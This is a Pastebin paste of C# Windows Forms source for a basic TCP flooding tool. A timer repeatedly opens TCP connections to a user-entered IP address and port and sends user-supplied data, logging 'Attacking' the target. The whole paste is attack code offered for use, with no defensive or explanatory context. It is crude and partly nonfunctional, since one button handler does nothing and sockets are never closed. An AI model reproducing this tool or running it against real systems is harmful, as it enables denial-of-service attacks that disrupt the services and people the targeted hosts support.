Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net;
- using System.Net.Sockets;
- using System.IO;
- namespace WindowsFormsApp14
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- Socket client;
- byte[] TcpPackets;
- public void Flood()
- {
- try
- {
- listBox1.Items.Add("Attacking" + " " + IP_Address.Text + " "+ "With Data");
- string IP = IP_Address.Text;
- string strport = Port.Text;
- int port;
- port = int.Parse(strport);
- TcpPackets = System.Text.ASCIIEncoding.ASCII.GetBytes(Data.Text);
- IPEndPoint EP = new IPEndPoint(IPAddress.Parse(IP), port);
- client = new Socket(EP.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
- client.Connect(EP);
- client.SendTo(TcpPackets, EP);
- }
- catch (Exception)
- {
- MessageBox.Show("Enter A Valid IP/Port");
- }
- }
- private void FloodTimer_Tick(object sender, EventArgs e)
- {
- Flood();
- }
- private void StartFlood_Click(object sender, EventArgs e)
- {
- FloodTimer.Enabled = true;
- }
- private void ClearTxt_Click(object sender, EventArgs e)
- {
- listBox1.Items.Clear();
- IP_Address.Clear();
- Port.Clear();
- Data.Clear();
- }
- private void StopFlood_Click(object sender, EventArgs e)
- {
- FloodTimer.Enabled = false;
- }
- private void Button1_Click(object sender, EventArgs e)
- {
- TcpPackets.Clone();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement